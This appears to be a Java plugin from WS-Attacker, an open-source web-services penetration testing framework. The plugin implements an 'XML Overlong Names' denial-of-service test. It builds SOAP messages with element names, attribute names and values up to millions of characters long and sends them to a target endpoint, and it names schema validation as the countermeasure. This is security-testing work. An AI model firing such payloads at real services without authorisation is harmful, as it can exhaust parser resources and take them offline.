/** * WS-Attacker - A Modular Web Services Penetration Testing Framework Copyright * (C) 2012 Andreas Falkenberg * * This program is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation; either version 2 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., 51 * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ package wsattacker.plugin.dos; import java.util.HashMap; import java.util.Map; import wsattacker.main.composition.plugin.option.AbstractOptionInteger; import wsattacker.main.plugin.option.OptionLimitedInteger; import wsattacker.main.plugin.option.OptionSimpleBoolean; import wsattacker.plugin.dos.dosExtension.abstractPlugin.AbstractDosPlugin; import wsattacker.plugin.dos.dosExtension.option.OptionTextAreaSoapMessage; public class XmlOverlongNames extends AbstractDosPlugin { // Mandatory DOS-specific Attributes - Do NOT change! // <editor-fold defaultstate="collapsed" desc="Autogenerated Attributes"> private static final long serialVersionUID = 1L; // </editor-fold> // Custom Attributes private OptionSimpleBoolean useLengthOfElementName; private AbstractOptionInteger lengthOfElementName; private OptionSimpleBoolean useLengthOfAttributeName; private AbstractOptionInteger lengthOfAttributeName; private OptionSimpleBoolean useLengthOfAttributeValue; private AbstractOptionInteger lengthOfAttributeValue; @Override public void initializeDosPlugin() { initData(); // Custom Initilisation useLengthOfElementName = new OptionSimpleBoolean( "XML overlong element name", true, "checked = XML overlong element name attack enabled" ); lengthOfElementName = new OptionLimitedInteger( "XML overlong element name: Length", 100000, "Length of overlong element name", 2, 90000000 ); useLengthOfAttributeName = new OptionSimpleBoolean( "XML overlong attribute name", true, "checked = XML overlong attribute name attack enabled" ); lengthOfAttributeName = new OptionLimitedInteger( "XML overlong attribute name: Length", 100000, "Length of overlong attribute name", 2, 90000000 ); useLengthOfAttributeValue = new OptionSimpleBoolean( "XML overlong attribute value", true, "checked = XML overlong attribute value attack enabled" ); lengthOfAttributeValue = new OptionLimitedInteger( "XML overlong attribute value: Lenght", 100000, "Length of overlong attribute value", 2, 90000000 ); getPluginOptions().add( useLengthOfElementName ); getPluginOptions().add( lengthOfElementName ); getPluginOptions().add( useLengthOfAttributeName ); getPluginOptions().add( lengthOfAttributeName ); getPluginOptions().add( useLengthOfAttributeValue ); getPluginOptions().add( lengthOfAttributeValue ); } public AbstractOptionInteger getOptionLengthOfElementName() { return lengthOfElementName; } public OptionSimpleBoolean getUseLengthOfElementName() { return useLengthOfElementName; } public AbstractOptionInteger getOptionLengthOfAttributeName() { return lengthOfAttributeName; } public OptionSimpleBoolean getUseLengthOfAttributeName() { return useLengthOfAttributeName; } public AbstractOptionInteger getOptionLengthOfAttributeValue() { return lengthOfAttributeValue; } public OptionSimpleBoolean getUseLengthOfAttributeValue() { return useLengthOfAttributeValue; } @Override public OptionTextAreaSoapMessage.PayloadPosition getPayloadPosition() { return OptionTextAreaSoapMessage.PayloadPosition.HEADERLASTCHILDELEMENT; } public void initData() { setName( "XML Overlong Names Attack" ); setDescription( "<html><p>This attack checks whether or not a Web service is vulnerable to the \"XML Overlong Names\" attack.</p>" + "<p>A vulnerable Web service will run out of resources when trying to parse an XML message with overlong names.</p>" + "<p>A detailed description of the attack can be found on <a href=\"http://clawslab.nds.rub.de/wiki/index.php/XML_MegaTags\">http://clawslab.nds.rub.de/wiki/index.php/XML_MegaTags</a>./p>" + "<p>The attack algorithm replaces the string $$PAYLOADELEMENT$$ in the SOAP message below " + "with the payload defined in parameter 8-10.</p>" + "<p>The placeholder $$PAYLOADELEMENT$$ can be set to any other position in the SOAP message</p>" + "<p>The following parameters can be used to insert overlong names:</p><ul>" + "<li>Param 8.1: Only if enabled,length of an overlong element name in kb</li>" + "<li>Param 9.1: Only if enabled, length of an overlong attribute name in kb</li>" + "<li>Param 10.1: Only if enabled, length of overlong attribute content in kb</li>" + "</ul>" + "<p>The attack parameters 8, 9 and 10 are independent of each other. " + "Each subattack will be inserted in a seperate element. " + "A change in one parameter has no effect on the other.</p></html>" ); setCountermeasures( "In order to counter the attack, strict XML schema validation should be performed to catch these oversized nodes and values." ); } @Override public void createTamperedRequest() { StringBuilder sb = new StringBuilder( "" ); // elementname if ( useLengthOfElementName.isOn() ) { sb.append( "<" ); for ( int i = 1; i < ( lengthOfElementName.getValue() ); i++ ) { sb.append( "A" ); } sb.append( ">test</" ); for ( int i = 1; i < ( lengthOfElementName.getValue() ); i++ ) { sb.append( "A" ); } sb.append( ">" ); } // attributename if ( useLengthOfAttributeName.isOn() ) { sb.append( "<abc " ); for ( int i = 1; i < ( lengthOfAttributeName.getValue() ); i++ ) { sb.append( "B" ); } sb.append( "=\"test\">value</abc>" ); } // attributecontent if ( useLengthOfAttributeValue.isOn() ) { sb.append( "<def long=\"" ); for ( int i = 1; i < ( lengthOfAttributeName.getValue() ); i++ ) { sb.append( "C" ); } sb.append( "\">value</def>" ); } // replace "Payload-Attribute" with Payload-String String soapMessage = this.getOptionTextAreaSoapMessage().getValue(); String soapMessageFinal = this.getOptionTextAreaSoapMessage().replacePlaceholderWithPayload( soapMessage, sb.toString() ); // get HeaderFields from original request, if required add custom // headers - make sure to clone! Map<String, String> httpHeaderMap = new HashMap<String, String>(); for ( Map.Entry<String, String> entry : getOriginalRequestHeaderFields().entrySet() ) { httpHeaderMap.put( entry.getKey(), entry.getValue() ); } // write payload and header to TamperedRequestObject this.setTamperedRequestObject( httpHeaderMap, getOriginalRequest().getEndpoint(), soapMessageFinal ); } // ---------------------------------------------------------- // All custom DOS-Attack specific Methods below! // ---------------------------------------------------------- }